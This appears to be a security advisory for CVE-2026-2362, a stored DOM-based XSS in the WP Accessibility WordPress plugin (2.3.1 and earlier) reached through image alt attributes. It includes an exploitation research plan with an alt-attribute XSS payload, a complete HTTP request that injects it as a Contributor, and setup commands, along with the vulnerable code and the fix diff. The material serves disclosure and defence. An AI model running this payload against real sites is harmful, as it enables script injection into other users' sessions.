CVE-2026-2362

WP Accessibility <= 2.3.1 - Authenticated (Contributor+) Stored DOM-Based Cross-Site Scripting via 'alt' Attribute

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
2.3.2
Patched in
1d
Time to patch

Description

The WP Accessibility plugin for WordPress is vulnerable to Stored DOM-Based Cross-Site Scripting via the 'alt' attribute of images processed by the "Long Description UI" feature in all versions up to, and including, 2.3.1. This is due to the plugin's JavaScript retrieving the alt attribute using getAttribute() and unsafely concatenating it into innerHTML and insertAdjacentHTML calls without proper sanitization or escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Exploitation requires the "Long Description UI" setting to be enabled and set to "Link to description."

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.3.1
PublishedFebruary 26, 2026
Last updatedFebruary 27, 2026
Affected pluginwp-accessibility

What Changed in the Fix

Changes introduced in v2.3.2

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-2362 (WP Accessibility DOM XSS) ## 1. Vulnerability Summary The **WP Accessibility** plugin (<= 2.3.1) is vulnerable to **Stored DOM-Based Cross-Site Scripting (XSS)**. The vulnerability exists in the plugin's frontend JavaScript, specifically within `js/wp-ac…

Show full research plan

Exploitation Research Plan: CVE-2026-2362 (WP Accessibility DOM XSS)

1. Vulnerability Summary

The WP Accessibility plugin (<= 2.3.1) is vulnerable to Stored DOM-Based Cross-Site Scripting (XSS). The vulnerability exists in the plugin's frontend JavaScript, specifically within js/wp-accessibility.js. When the "Long Description UI" feature is configured to "Link to description," the plugin identifies images with a longdesc attribute and attempts to append a screen-reader-friendly link. It retrieves the alt attribute of the image using getAttribute('alt') and unsafely concatenates it into a string that is then passed to innerHTML or insertAdjacentHTML.

Because getAttribute() retrieves the unencoded value and innerHTML parses that value as active HTML, an attacker with Contributor-level permissions can inject malicious scripts into the alt attribute of an image.

2. Attack Vector Analysis

  • Authentication Level: Authenticated (Contributor+)
  • Precondition: The "Long Description UI" setting must be enabled and set to "Link to description" (wpa_longdesc option = 'link').
  • Vulnerable Sink: newLink.innerHTML and wrapper.insertAdjacentHTML in js/wp-accessibility.js.
  • Payload Location: The alt attribute of an <img> tag that also possesses a longdesc attribute.
  • Affected Version: <= 2.3.1.

3. Code Flow

  1. Frontend Script Loading: The plugin enqueues js/wp-accessibility.js.
  2. Feature Check: The script checks the wpa localization object. If wpa.ldType === 'link', the vulnerable code path is triggered.
  3. Selection: The script selects images via document.querySelectorAll( 'img[longdesc]' ) (Line 698 in js/wp-accessibility.js).
  4. Data Extraction: For each image, it retrieves the alt attribute: let alt = el.getAttribute('alt'); (Line 703).
  5. Vulnerable Sink 1: In the loop for longDescImgs, the plugin creates a link and sets its content:
    // js/wp-accessibility.js: Line 713
    newLink.innerHTML = 'Description<span class="screen-reader-text"> of' + alt + '</span>';
    
  6. Vulnerable Sink 2: Alternatively, if the image control is loaded via API (used in featured images or specific blocks), it reaches wpa_load_image_control:
    // js/wp-accessibility.js: Line 833
    wrapper.insertAdjacentHTML( 'beforeend', '<a href="' + url + '" class="longdesc-link">Description<span class="screen-reader-text"> of ' + alt + '</span></a>');
    
  7. Execution: The browser parses the injected HTML in the alt variable, executing any embedded scripts.

4. Nonce Acquisition Strategy

This vulnerability is exploited by creating/editing a standard WordPress post. No plugin-specific nonces are required to inject the payload into the post content, as standard WordPress post-save nonces handle the request for Contributor+ users.

However, to verify the exploit in an automated environment, you must first enable the "Long Description UI" as an Administrator.

  • The setting wpa_longdesc is updated in wp-accessibility-settings.php via the action === 'features' branch of wpa_update_settings.
  • It uses a nonce named wpa-nonce.

Manual Setup via WP-CLI (Recommended for PoC):
Since the vulnerability requires a specific setting, use WP-CLI to bypass the UI setup:

wp option update wpa_longdesc "link"
wp option update wpa_post_types 'a:1:{i:0;s:4:"post";}'

5. Exploitation Strategy

Step 1: Configure Plugin (Admin)

Ensure the plugin is in the vulnerable configuration.

wp option update wpa_longdesc "link"

Step 2: Inject Payload (Contributor)

Login as a Contributor and create a post containing an image with both a longdesc and a malicious alt attribute.

Payload: </span><img src=x onerror=alert(origin)>
The </span> is used to break out of the <span class="screen-reader-text"> tag created by the plugin.

HTTP Request (Contributor):

POST /wp-admin/post.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=editpost
&post_ID=[POST_ID]
&post_title=Accessibility+Test
&content=<img src="https://example.com/test.jpg" longdesc="https://example.com/desc" alt="</span><img src=x onerror=alert(origin)>">
&post_status=publish
&_wpnonce=[NONCE]

Step 3: Trigger Execution

Navigate to the newly created post as any user. The JavaScript in wp-accessibility.js will process the image and trigger the XSS.

6. Test Data Setup

  1. User: Create a user with the contributor role.
  2. Setting: Set wpa_longdesc to link.
  3. Post: Create a draft post as the contributor to obtain a valid post_ID and _wpnonce.

7. Expected Results

  1. The plugin script js/wp-accessibility.js will find the img[longdesc].
  2. It will extract alt="</span><img src=x onerror=alert(origin)>".
  3. It will generate a link equivalent to:
    <a href="..." class="...">Description<span class="..."> of</span><img src=x onerror=alert(origin)></span></a>
  4. The onerror event will fire, executing alert(origin).

8. Verification Steps

  1. Check Options:
    wp option get wpa_longdesc # Should return 'link'
    
  2. Check Post Content:
    wp post get [POST_ID] --field=post_content # Verify payload is present in the database
    
  3. Browser Verification: Use browser_navigate to the post URL and check for an alert dialog or a specific DOM element added by the script.

9. Alternative Approaches

If the longdesc attribute is filtered out by the WordPress block editor (Gutenberg), use the Classic Editor or inject the payload via a custom HTML block.

If innerHTML logic (Sink 1) is patched in some environments, target the insertAdjacentHTML logic (Sink 2) by using the "Featured Image" long description feature:

  1. Upload an image.
  2. Set its "Description" field (which the plugin uses for longdesc) to a URL.
  3. Set its "Alt Text" field to the XSS payload.
  4. Set the image as a "Featured Image" for a post.
  5. The plugin will fetch the image metadata via the REST API (wpa.restUrl + '/' + id) and hit the insertAdjacentHTML sink at line 833.
Research Findings
Static analysis — not yet PoC-verified

Summary

The WP Accessibility plugin (<= 2.3.1) is vulnerable to Stored DOM-Based Cross-Site Scripting (XSS) via image alt attributes. When the 'Long Description UI' feature is enabled and set to 'Link to description,' the plugin's JavaScript unsafely processes the alt attribute using innerHTML or insertAdjacentHTML, allowing authenticated attackers with Contributor-level access to execute arbitrary scripts in the context of users viewing affected pages.

Vulnerable Code

// js/wp-accessibility.js: Line 713
let alt = el.getAttribute('alt');
// ...
newLink.innerHTML = 'Description<span class="screen-reader-text"> of' + alt + '</span>';

---

// js/wp-accessibility.js: Line 833
wrapper.insertAdjacentHTML( 'beforeend', '<a href="' + url + '" class="longdesc-link">Description<span class="screen-reader-text"> of ' + alt + '</span></a>');

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/wp-accessibility/2.3.0/js/wp-accessibility.js	2026-01-21 22:36:40.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-accessibility/2.3.2/js/wp-accessibility.js	2026-02-18 18:38:22.000000000 +0000
@@ -710,7 +710,11 @@
 					let newLink = document.createElement( 'a' );
 					newLink.setAttribute( 'href', longdesc );
 					newLink.classList.add( 'longdesc-link' );
-					newLink.innerHTML = 'Description<span class="screen-reader-text"> of' + alt + '</span>';
+					let span = document.createElement( 'span' );
+					span.classList.add( 'screen-reader-text' );
+					span.textContent = ' of ' + alt;
+					newLink.textContent = 'Description';
+					newLink.appendChild( span );
 					el.insertAdjacentElement( 'afterend', newLink );
 				});
 			}
@@ -828,8 +807,16 @@
 
 			img.setAttribute('alt', '');
 			img.setAttribute('class', '');
+			let newLink = document.createElement( 'a' );
+			newLink.setAttribute( 'href', url );
+			newLink.classList.add( 'longdesc-link' );
+			let span = document.createElement( 'span' );
+			span.classList.add( 'screen-reader-text' );
+			span.textContent = ' of ' + alt;
+			newLink.textContent = 'Description';
+			newLink.appendChild( span );
 			if ( 'link' === wpa.ldType ) {
-				wrapper.insertAdjacentHTML( 'beforeend', '<a href="' + url + '" class="longdesc-link">Description<span class="screen-reader-text"> of ' + alt + '</span></a>');
+				wrapper.insertAdjacentElement( 'beforeend', newLink );
 			} else {
 				wrapper.insertAdjacentHTML( 'beforeend', '<button aria-expanded="false" class="wpa-toggle">' + wpa.ldText + '</button>');
 				wrapper.insertAdjacentHTML( 'beforeend', '<div class="longdesc"></div>');

Exploit Outline

The exploit requires the WP Accessibility plugin to be configured with the 'Long Description UI' setting set to 'Link to description.' An authenticated attacker with Contributor-level privileges or higher can then create or edit a post and insert an image tag with a 'longdesc' attribute and a malicious 'alt' attribute payload, such as: <img src='x' longdesc='http://example.com' alt='</span><img src=x onerror=alert(origin)>'>. When any user views the post, the plugin's frontend JavaScript (js/wp-accessibility.js) identifies the image, extracts the alt string using getAttribute(), and concatenates it directly into an HTML string that is then injected into the DOM via innerHTML or insertAdjacentHTML, causing the browser to execute the injected script.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.